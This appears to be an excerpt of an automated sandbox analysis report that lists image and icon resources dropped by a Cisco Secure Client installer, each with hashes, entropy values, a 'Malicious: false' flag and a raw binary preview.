Preview:	.PNG........IHDR...-...-.....].6.....pHYs...#...#.x.?v.. .IDATx...l....q.a_...n`.p.l..].!.X.cmb.T{W/8.6..6......%".T..yO)"...e!..5....[.+.;..y....RX..s..@[.&.6..j...1..sf..93..I.....;.......(F...-5>P....(.`..T\|..P...}.D.H....R.L..8.....1...$.....A.X?.sb..;@...h9.wJ.;._.)eM........Ss...........4..o.............P[j.E.~.TE..0.......ro../.PA..SjK..8A.Zs..eE..X.!...<Y..Z.rr\J.}w.....?e......`..X.c. %......p.z4M7.PC........&.6.......".1c..>...^.d..S.9../s..O... ..4.j.]S<.>u..v.d6..1..S.@.N.y..=...;...9v..=...wB..Y...%.D..$..b...6u....wM...#......w..-.g...F!...he.O..r.2.....Qj..{D.\.we}.....D. ...(...$Z...?.U......r3k.o.'R.M........s....W..h.Hm.q).U.Z...}w....;...'v..I...QO.....Q1k:.h%...Ws...UA....!7....w.f].G..X...w..^...VBT$..pQ.,`-Ms.0.H.C.......d .2....\."...."G.=...{:Xgw..Rj...&.(.e..-C..+.(.)......a...n...'.I..@...8b.'.v."..r.BF./.....`...1.$Z.T$.WE.Y5sWes.:......}:./.y.DK..R.j.B.....YQ..X d\|a.^.......F.D+.\|..(.....KZ....(.,8~...,".y.H=.! ....

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\nac_logo_72.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 72 x 72, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2531
Entropy (8bit):	7.8827223365027725
Encrypted:	false
SSDEEP:	48:PajMqdGnKe/dujhrZicEFhViZIs2sJ69y+10zTECChhrHxgpj:PaIqcnKeKZHg7by+ezTLUhrR+j
MD5:	2EA165B23D882176DAAD7C368EE24642
SHA1:	A46B746D76A41D4B322552BE4D66E9FAC66D7C19
SHA-256:	5B0F218A1EDB9CE79C15E8278557CCDB8AF44EAD52B4149CBC27DEF6FFE38619
SHA-512:	7C6C1F9FBDB726AF81551CB2CB790B847904E10AB90923A8FA43C34D617FD4A7F4B0A6FC85D327FA140D8C42197213F2A2BBB4643C16A1FC7DF17C1AF1E674FC
Malicious:	false
Preview:	.PNG........IHDR...H...H.....U.G....pHYs...........~.....IDATx..\ol.E....)....{.i#.A .lbi..~.E.......M!..E.M..m.......L../=...TJ...4..@9.....O.E...fz.{..3.G5.%....y.y.....=.a..e.D4.....\|.C7....3x..w.....NP(ZVHD5DTMD....sg....E.......+..........ImD.:...3...BP(Z....).(.4A..`.....l..AT.....K@..$Y.~..+A..5...H.\4..V/.Z.'.]{..P.."._...'Q..d%.....j.\...."..E..nS..+Q....e0..".1o...-....d{."..i.`.....$.......q...i...Q.6.R...V.j..A.h...>h..'.....)?/.@$.q..u.y'.....6-..wv{.Q../..e/..7.y..wl~.^....;6tWHp..TY..JK..........G/...{"..A.....E9...i..~.....Z@.....zs..t.&;.=..M..C....3)7..z.m.\|.'.N.{iiP&.9...m=....L.....ar5.O...&e.} S..~j......>....8..=0v. ..f).#....UC...9..Q....}h8I.R.HI..s....F.6.....v..O^.EhSP.,R&!....N.. ....{...s..$L.....I2... ........C.......Dt........2BV).0.#H.[....@..M.jO:....(S/.v.f.A..bo.t....\|M..Z.2BVijk..'.$...n...BP.r..<@KB*.R.....A..6..2.d...:..Y5..F..0...b.;.D....p...=..;v.hgK..o.Iu.... ..R.U.....c...9....xi.TW..`.....~...N.".A...

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\neutral.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	MS Windows icon resource - 2 icons, 32x32, 32 bits/pixel, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	5430
Entropy (8bit):	3.4732129504366194
Encrypted:	false
SSDEEP:	96:h6QRIHYm77Z5IVpIHwuS0g72HR1K9TEYkbGg2o:iHY0TUuUSHRAQXHx
MD5:	E61CF737A35E8DB52178528A0CBFE702
SHA1:	DE0A794D67A3DEF7079CEC7C48AC580CC71A7270
SHA-256:	559C518DC1F316C4991DC95D131CAB0BDAC445B1CE41B28EC8244CDD78F8AB2F
SHA-512:	8563013E9A2B75F5EDF00D71A292634FE375D5F6670F7F303C2CAB2DC271FDFC04A760417E2D487269D26611F6D236E6164EFC3179452AB34B1D42ABC17C51B6
Malicious:	false
Preview:	...... .... .....&......... .h.......(... ...@..... ............................................................................P...........................@.......................................................................................`...................................................@...................................................................@................z]J.X5..M'..M'..M'..M'..X5...kY....................0.................................................................xh.M'..M'..M'..M'..M'..M'..M'..M'..M'..M'..M'..X5.................p........................................................X5..M'..M'..z]J.................................X5..M'..M'..X5...........................................................xh.M'..M'..z]J.............................................M'..M'..M'..M'...................................................xh.M'..M'......................................................M'..M'..z]J.M'..M'.............p.......................P........M'..M'

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\noncompliant.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	MS Windows icon resource - 2 icons, 32x32, 32 bits/pixel, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	5430
Entropy (8bit):	4.010961844615086
Encrypted:	false
SSDEEP:	96:+9/hYGSEklnePwwDIr4LcARtTmOj/FrzFkT7goo:+9/CGShEPJcX87v
MD5:	393317DEF43F554C69A8ED63065E5BBE
SHA1:	09185B8B3C21C5CFB6661958665B6D997BF64E6F
SHA-256:	92ACFDA492B05FAA52BD32E9581F028BEE55F1C5AF617ACD8EE9E6985C9D1CBD
SHA-512:	9C7B0D37DA9080F27F0116F0C45AA5CD2D9480955433D60CCEE1555C0D930081655705C65565C7C18B766458530FA5B8DD641E7D2F8776BBB8650B7D3A95351C
Malicious:	false
Preview:	...... .... .....&......... .h.......(... ...@..... ........................................................................@................................IA.P..s...s...s...s...s...s...s@............................................................................................b[....y.&...,...0 ..0 ..,...&.....y...s...s......................................................xh.cB+.M'..M'..M'..M'..J&..$.`.".../...0 ..0 ..0 ..0 ..0 ..0 ../...".....s...s.........................................z]J.M'..M'..M'..M'..z]J.z]J.z]J.+.S."...0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..".....s........................0..........w.M'..M'..X5...xh.......................y./...0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ../.....y...s@........................z]J.M'..M'...xh.........................qj..&...0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..&.....s.....................z]J.M'..X5.................................8/..,...0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..0 ..,.....s...................w.M'..X5

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\pinned.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 38 x 30, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3683
Entropy (8bit):	7.90204028759812
Encrypted:	false
SSDEEP:	96:TSDZ/I09Da01l+gmkyTt6Hk8nTuU1G4X0vy:TSDS0tKg9E05TuGG4k6
MD5:	4D8816B117672123F84ECD051877A37D
SHA1:	C9983DE5E4DD52660A109C418DBDA7B7F202E2E8
SHA-256:	3D2A9058537240F9131F6A8D083A6723A0D45E31BF2BBA4EA761DE23948C8209
SHA-512:	63395803D1BED8B33E1854D6EC5EEF2322FFE69B5150CF414692D7AE8003ABA601FB283C8CB661ED4AD633B4ACF945AADC579A84910441963F8EE801D0CEB447
Malicious:	false
Preview:	.PNG........IHDR...&.........@.ln....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\pinned_button.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 38 x 30, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4455
Entropy (8bit):	7.908038022091361
Encrypted:	false
SSDEEP:	96:TSDZ/I09Da01l+gmkyTt6Hk8nTIaLT1ZWqwPFR34mH:TSDS0tKg9E05TBZWqqPH
MD5:	2E3C536FBC9DDA9D0DA7DD408FA3D69B
SHA1:	4056553645ACFD51D5BB1E74623ED9938C0F5717
SHA-256:	D86F0CEDDF46C275DF0FC6CF0FE70852DD270D0BC35355CC6B30CE7DDD6EC2B7
SHA-512:	AB3237097BBA665CC1B22F4A4C280C6141E8266EA9D4A569C3B53D4401E00F4E1E0F7944A172C16CDD455AF8EAF3EAA9FC43A08EFDFE7844689BFC7B4CB870F1
Malicious:	false
Preview:	.PNG........IHDR...&.........@.ln....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\status_ico_attention.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 534 x 534, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	26674
Entropy (8bit):	7.935979285003627
Encrypted:	false
SSDEEP:	768:YFyemvD4Gm3D6kkgmo+C24RkZErZWiTVCbFk:YryD4G+Dcgmo+C9kZsZWpFk
MD5:	B1655EC01B232A1A42E43F950321285A
SHA1:	F34C1F228C66BF4ED1B0E9901D3284EBD7A01600
SHA-256:	9E2447F1B7B4A3404C8D3588DAB59CF51635049BE4F1FC0D1BDEE77DEFFC5B47
SHA-512:	BCC1BC2AE795109EF83422613D9B0D9FF23EA81136479748FFA7CD7FC03D527B4744833728637F7892B5F60DD476F1F32122AECCCC26DB2D6092CD2346A750BA
Malicious:	false
Preview:	.PNG........IHDR.............\|@.E....pHYs...#...#.x.?v.. .IDATx..Oh%G...G........4..TSG.nO....j..CI.s.7%...fa..ofQ...x;...<^/,y1.a.R...RA/.f!..)...R....\K..]......'Od..........d.tN.<...../.O.9>.............}.P8e.M.:8.'#........z.Z;.)K.,--%..'.?a..GB...[1r..I\2...4?..SKN\|`. ..E..n..hz..mll.z".KhG\>.i.2....;.....\|\.ywww.......a..{2..Io~.UO..t...'ckk....~.....zB......I.R.T9!.OF...\|...e(z#.N....o.P.+eOH...]..~..@..!...=....'>...+O\.u..Z.yo...{.......2ieX9..(.Br):.k!..I.c.}S.'cccc..F.......0q"l...k....ve.>...p.coRw2r.D.[...}....h>.Q.B<.......y...{&B.<...{...9.e7`.......w...\.Mt..EU...h.].....r.G..;y..`.d..C6.Y.z#.f.r2.y.5.W.<.#!..!..[.5.yp;...OFL.Brv.V.uoe..O....aV.2.p2....d.t.C..'..e...Q7-.g...._...3.N<....}D:.`3.....n.^.0..X.VF..f.'.u...W...p}.(Y.#......M?.......r4.\|......@).GGz/`...U....3............F.C...[.5...;..kv.[...+k3$......N...c......j.B(..Z...k....&...8.._..E..M..(I..u..Td.....R....C.......b....E/X;....#..

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\status_ico_error.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 534 x 534, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	28939
Entropy (8bit):	7.960017526195935
Encrypted:	false
SSDEEP:	768:OkJC2FKvbdu0G3091/3+WVlQkJyE3MNLc37Wr65:FCQmc0390W0kT8ll8
MD5:	B52EAA7318111371B2B8EF3425AD4405
SHA1:	DB16F9570B55F8045FE8354ACC853655791557AA
SHA-256:	C33C036B94E3BD83D393E552CE87784BA9F74D2B8563162024DAF7ED05E7EF6D
SHA-512:	AA98F3130A76BCD5FAF093886472F1A937E93AD0A8E83C00F9675C14C7AFC5DF903C52DE64FBAD6012F5DF54A1DB56759481BA8516C0DB0A851B6BE87FD13DFF
Malicious:	false
Preview:	.PNG........IHDR.............\|@.E....pHYs...#...#.x.?v.. .IDATx..Mh]W.........CH..#...5.R.R..h$...'e.Cj.T.g....G...Z..v.aB..w..K.I..E.).....d..."]g...P.l.u..>{.?....@..u.>.......g=.....\|.:D..~.........\|(...q[.g.d.......~..9r.w...'...pnn.P..D$.xx(?..K"..r..9.I.....L.t.9.A\B.D.....^&...e.'.._Bk..M....$\|....?....k=...:...N..N..{2..a/~.UO..t...'cuu....~.....zB*......IHS.T9!......\|.. q.?}......].M,u.\|i.90.<.s;y.Q.'..#..FH..3tP.:.i.]6...a.I0'.J...Rt2.!..I.c.}Q.'cyy.R.'uF...j..Sxy.u..}F..{D..H2G...1.`.R.......:..g.}D.Y....y..O=....7\|`..].Eg..4.&.....[mzd.9.e......{.}.;.e'`u.sB..M...;#}.I.%R......Dd=.z..#.Q...;..j.E...;...o...b.D.p.v..I.L.\"i.\2.GD."G..ti....ui..W.........p.....sS+j...A..........]/F...ybst...4}!.....d.i.....,.M.Y..../.v.......Q...He....DM.;V.&:^......D.ka.l....^.....{...L......F........=...yB..U.#.QwD.<!....5.ZO...0yB^.........K#L...^.]....(.R.X.d.+.'y?..d."T:OH..s...J?{E\|.....;....)....o.=.:+ZUp..H{{{......F.;[.8...H......

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\status_ico_good.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 534 x 534, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	29327
Entropy (8bit):	7.967732566337996
Encrypted:	false
SSDEEP:	768:kfiUT6EuEADj9MKT8NYMSNQ0Ksn1GStodN2AG1:kfTGGYRKK1GStodNw
MD5:	A0FE71E2020412BD9FFEB2712628DAD0
SHA1:	33EBF21B46A1742A46DEEE2EADB0F714B4F64959
SHA-256:	3AF5729F9A5902B409FD0D79BA1B04AF2ABDB25BCB4750F235BD61DC2EEE7C77
SHA-512:	D4886F29044F3B6A1FB900AF1973362B6822085544ED65877B2F555B360E494912AAFFDA58E49C8A91ED541F9D18482A1811C9350074797416CC8ECD06CC1863
Malicious:	false
Preview:	.PNG........IHDR.............\|@.E....pHYs...#...#.x.?v.. .IDATx..]le...V...>H.mE .1.[.0#Q.6.%=..l.....ln.sC.8H#.........F..W5.-."vq1..`.:.b4..$H'-.]3.n.d.i..A.].....G..6.^{}..{=?ic...^{.w....?.cV..;B.........4[..n....r....boo..9c.9..<.(g...].{..]O....OY.b.cqq./x..9u.Uk'...R:...'.....=.G'''...t.....>..4...'...h...."...K..../7z.MOF....'....#...>.\|...S.j...3g&...~..1.:.:WB.uWJ..R.dT...'!K..rF.&E...^.......Z.........A...E..........`N...s.b. Wx..)[....o'B....}.E+c6..!.._.+Z.......R.B..G..8..D....._..N.....lle........./'#....W..]...........`0......?.^....t.......g?....j....C......KE]..z...P..W.k....PWF..aUT=O.+.7.]...QA..uz.c.D.IOF..w..hx.E.{pp...1Y..-`{ELN..}....7.0...._..Q.6z....MN...Y../..+...'B.W.s.:?....[.NDBr2._..;;..U(..!......I.7.....k..W_.R..j...'...A.......e.o.\.tkm._...S,....'.....].>....dL.z.\.ml...15u.....6^.6w.:.:.U..e.....A;.)...f,,,.z....{Oi9"....$.V.p....h...L.7.u.d.%...1..o..x..J...N5..;...Z...y.I..hj..&."q.O..2..-1.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\status_ico_neutral.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 534 x 534, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	31702
Entropy (8bit):	7.968827949628217
Encrypted:	false
SSDEEP:	768:j9rxAm3IyJR5xmDQXMUg0HvpXOQFvgMN/2iHxr:j5X5AVUjEQ9NVRr
MD5:	D7A6605937F7BE6861ED243FEED7B2AF
SHA1:	CE9EFBCE4C470923C242615A0B53E775800BB031
SHA-256:	331F0FB3EAA0F38927DD0B350A6D92B8E18ACFDF64CBC597B470EF6E4D055C81
SHA-512:	A9C1C5503D9987245389C762ECDA0F4803BD84CC3D47534731F9194BB33DF93C7FEA6569D6E0BE03C4A59551B4F8021AA129A38FFF653FEB81B5DBF065438FCF
Malicious:	false
Preview:	.PNG........IHDR.............\|@.E....pHYs...#...#.x.?v.. .IDATx...l]...2j...J.H......vf2e..8....Tu.4j...p50E...P.8.+.k.. Z..%.F...#..5..SR'.B{....d:p.;.7P.Nf........d.}..g.[k....#.....g.....%H...!..~.T.^...'&&..2>>./...A......e.EX....v....e...nb.....E..(}yO......O.ttt.:...8...%k...rW.....h$..^.L..<..5.V..{..7...,.#..r..x...$...$..H\|!...A.^.4.$..Ht!t_. I.J....bXy!$E].$...(."..X.B<..c....i7...p!.....X.s.\..^...............~....>.6^..8;...D..>./.hs.Q..u1f..hii)...I......q.....8s..F...0..i+\x<...A..22lZ..&x....y%\.....7..b.iTH...z..1....G.$........1a.d..b..Kvh...V...<"1.lG..p..?.B....)q...q.'o..6mJ..G.y.....=.....1...R.8.....3..7.tc..l...../....L...Fs?&Q....G?J}PI~.v!.......Cm..P.;....T..=....%........^.s...~x.~....}.5.\...o..}]..s.....2......?...-?....tDW(.b.K.X.o.........;.w...w.........\..0.o..N.......^...7..........d..].........{....+..o...... '...).....]..n.G...+....Q...IvB.......x..y...^..3.sm..I...Hb.]g..-.g ..

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\status_ico_noncompliant.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 534 x 534, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	26026
Entropy (8bit):	7.927985837095832
Encrypted:	false
SSDEEP:	768:TKQua9HUsr5RRxO5oEt9jwIZmYCEHme0KV:+Xa9RLxO5o29jNGEGk
MD5:	5DC7A6BEE91DE8331C802B1647F5AD10
SHA1:	D9F8150235EF917E6884AA963C292530AE7ED599
SHA-256:	4D9B3A95A941BD32E42171770195872958DB56A6C2CB6FAE664500E947911149
SHA-512:	BC32B66AD44C88DB95995B08A4A2E7D420035CC02318756AD10F854B884B613C8CEE3017E7708B7E4865B06961B7292CBD91B3091B0BC61889A71A06C5A17E98
Malicious:	false
Preview:	.PNG........IHDR.............\|@.E....pHYs...#...#.x.?v.. .IDATx.._l.G....ZF.0..4...R...z.G..i/z.6.,...eE.!..s.(...0.E...{0.~.........$.2f...^J.....7.-.1nR'....\K...0.2..Ak.._....Y..""#"...&U&..."...._...-.....e..n..7.....m.Di.O...o`{[......y..6.>1..P.....D.'..z]..Q.2.u..^lll.. /...E..h..2..j.j..j\|.c.......X&.h.".N..k%...c...L.........e.....j6...[....D....9^"....K..}}}.Dt2..g<..'B.I.....[q....d.:..OB.4'%..I{7.y"..~... q.?iLw..q.[..+...y".8.q.Z%}}}.D....{<.3'"...i6.\|.I\|..NF.eo....D.t;!..G.....s.DP.c.+=v.'......'B....x.+..A....M...3..O..-@...;.J...U!.t.D.itexw"..G?....gE.;.^...4.C...E.I6.I..U!.gLCC....kT.....'E...;j.V..E..f$........+.*."$.n.n"..!.S..."...$y..F.....+.afff...}rHZ`3$.d.Xs4%.'c..g@0;;K.D..w......pee....7...z.2FGGc.''.T.>l....^g>...............R...ty/...o.....,...~.m9p....r.3.~...1......$1....Y...X.-:.HJ..v...N.C........pR...YL...............6.t......)O...sQ.._.g..y..I.....z.w..X..b{..t.2.\/n.n.d'..k...6...F.\|.\|...].-.N..N..q..".......l..%

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\status_ico_transition.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	5803
Entropy (8bit):	7.950077949239442
Encrypted:	false
SSDEEP:	96:eRHNludLinPdADSlBP/5X48lHE6uXPk1HFlQ0vmHSQON0hYRGRkA3rGWjrXM:UHNludLjM/FvhE8FlRRJG1r5jA
MD5:	1F00D2A16D3C303C76359276E6983553
SHA1:	9B58E65D2A01B1E55173370BBED7CFFB72C683D2
SHA-256:	F70F49DED3EB450D26AABC8F71AE8C1BF63D2C01A1C55C6A19E010FAD602011E
SHA-512:	C65A78144AB84A68DEFAB93704D20AB177E2BB82138FCD47171289D164F938D7D9620AEB22ABE234CDC79DE2CB28AF1A2B780845D873409DF0B89A60C34D425F
Malicious:	false
Preview:	.PNG........IHDR..............>a.....pHYs...........~....]IDATx..]{l[.y..."-?r...:.e'K..).9.R...%h.......0..m.?.y[.a. ...x.C.6t.......N.u3.......FJ.d..Dt.%.._.%>..;<7.)..;..R...@K...=.\|..}.\|..h..6.h.....U2.(......c.g...<..c.1@L..[....D"....F.4..3..MM.h.N.....9-..U..e.... .."...Ad.....>'..lF......d.0.8....4E+..O..i.V<.....5==m5.x..w.......8^.b<JD.H.....&''.Fp'./....>.6.z...MO....T.2D....}E.e...6. .I.z....fffZ..u.>...DL.1....acW.0.2....U.{.........W.c..!%W0W=. .......U.0F.U...e....B..b.......c.Z...JW.\.... D.#.....h4.H...W.5F.w..;'~..o."...%..l.....\|.#.w.......~"....H.^V.f2.f.x<.7GGGk..u."....?...1....}.3.......d2..L.\|C...k...>.wo9.b/.p.r.. k....r`.2).m.u.8.3$.I.....$=..@3. a.f<.J...A...E./$.8.4MY....u.Sh.#.1..,A..?.BR2.g....h4.......2......S4.2..S&....!.....B.J........d..........n.}w.0..]...t.5.x............Z.s_B.Y....f...?..A!..!.&#.&...\|C!GV>K..z.jh.U_..x..n2@.4............0J../...Y.sD..I7.7F.........kKD..@l....">.. .g..K\|..\|./.1...&@.A.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\status_ico_trusted.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 534 x 534, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	29723
Entropy (8bit):	7.971507308971378
Encrypted:	false
SSDEEP:	768:f/oVoAjsba3qfpgr/jKyV8xonTTdZPNE/ZIeb4p82Xg:fwZ6tyHTTdERbkp8Mg
MD5:	DDF9FC987801BDE753D2C37733DE7F3D
SHA1:	BDA65E600F5EDD2889244E2C1CEAD37C1C292FC8
SHA-256:	D62A61171CAAD9B43DBCE2683DB87959B2C1FCB303D6B34A3DC1D178A9745F44
SHA-512:	D1C0451C3E9B52920A56EDF57CCF3617662E18B14E0E0B00A94D948574431C30E1C31BA2FF6F4BBFA8E01D42B00EA90FD03CD1D3991B3ACF04C5C9802F547244
Malicious:	false
Preview:	.PNG........IHDR.............\|@.E....pHYs...#...#.x.?v.. .IDATx.._h].....Er..uQh..T2...E#.0m.....d...i/2.%2..L....N....L;.....%>..g.-.!...ER!&.j9..y..2.u.....x ..w.Y;.^{......~@..K{....~......,.!6....._.>(../........../~....FO.!....d.a.9thp..^.'t=...4>d.%....x.=....Z;.e.....=.^...6'....;88....o..k?....{.....ir2j..&'..:'fqqQ\.x...{2..~./^..z.....5q..J.....!.~..q..N..0..+....z2...'!K..rH.&ET..^......4vY.;[.......b.q+d.].te,//.s".<.{.....\.+.le.^......+$.u....PO..v\|./.he....O.J.......=H.....7cy..q......Y.k]......N......g#.I....M..?.........."{.dO...^.k..U....NH.qg....X..#.5\|..E....7r..}.NF..4..J...w~.._....E.".Qu.:.E...{..l...U(..D..P...d..K.z.h..%/^.w\;.N..d...\|.Q...X....2=.......W.......eR.X..~....;.Uo.w.....3....#.....7'.....q......f...D$$'ck..'P.G.y..v..!......A..T......w...F.U...OF].............V......biU$4>.U..y..OvB%=.S....B..b.DLM....WyQl..:c.a.D..o.6.\&kkk^.....Pm....=....kZ...~..u2.Qjr....lL..q...km.b\|......>...E

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\sync.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 67 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1264
Entropy (8bit):	7.787798189239225
Encrypted:	false
SSDEEP:	24:GblEbksH883ZKHGbOgt1NxI7aY1nigCC2OjKe6Yt3CvPTWngq2i3sTj85:ElEJH8I/NkQgQ+KtY1C3Sngq2VW
MD5:	DB2D5090354734EC085D88810B342866
SHA1:	F727BC14361A4332C73BFB5194CA5FF6EAC37959
SHA-256:	996C1A034CC8B6CA3C511E2C7EE2FED22F31904DB769A1AD8555F1CFD478AA62
SHA-512:	04F9B9B5EABD33E318F6A83A734ECA67C2778745560F44F45C535847BF642B33DB2C6C974CC7A6AAE4C68C67470135B15ABB2A77247BFF3C518EC113FDFD8888
Malicious:	false
Preview:	.PNG........IHDR...C...@.....A^......pHYs...#...#.x.?v....IDATx..\;R.A.m0.3...8.C...o.@'.D.%N.:."..q..o,...@........~.Z-.....J.}fGo..t..h.jB.D]"b.#"zCD..+.D..,.,...X).q.......:.."...}#.Y:X.........!.1":...1w.`9.=p02.$bw..VP....C..M...F..`.\....w /2.$..5.bQ.^.C[.X.t.\.N..8....[XCQ...Q&.<~...'\C..s.j%.d@ ..8..y.0.9#....0-......q...]..1../....).t.<....L.V....@)N..HQ..+B....9W\|d.K..^8..W2-!.}...... Z...e..jB.).9S..Uc.PsF...r...n.+.....:2n..".....!l....E.%'.I.......!$.."._........H...?.....HD......7F.u.+...Ke.+.S2`.C...M.........2F2.p.q...ZU\$..E.UX....p..4M..f.Pb...2..k..J..,.D....e.E....i..zc@...tX...s.t....>4"CM...47}....p...\..x#.(....96.yd...._.@.6...C7..2.P....QD...3...7z..d`...3..]...+.b.`k..5....I.#K.V.%.F.h6`. f...g.....G..l....~"l..17.{. m.......1S..$z@.....4....5.........ks.E....._....52L.T.....m..`..;.r....&..p-...}.s.l.S....d%.q..[2...a.. ..\|..4.1...v.....j.\|b..d0\.....{..6.E.*22.S"..JHa.U.\f.. c.m..!t.HH.MS.sU.P&.Y.!_2.^..V..(S..=

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\toast_amp_attention.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 201 x 201, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	14308
Entropy (8bit):	7.981829207860698
Encrypted:	false
SSDEEP:	384:XybKkbzXX5gnaVvNX5HqQiVAlwokisiMCb9sdP4++2SC7a1Rj2:XFyBr5KAworb9sB4Yi0
MD5:	1FC5657F3DDBAE57EA997277C9D6488A
SHA1:	2C4A261FEA797112FF95ABDB008435329BC8C048
SHA-256:	DC39DF1AECA15B0BAD3E15D05CE917D3CB7CB00C4F363BE67AC5741F82E5A57A
SHA-512:	CA37C34378244C91AC316717B1DFBA2E3D596918F9000710ECDF503728C2C207031F71224410CE661AADB59DB5272EF993A0826E96D311784F32BDE7BA125440
Malicious:	false
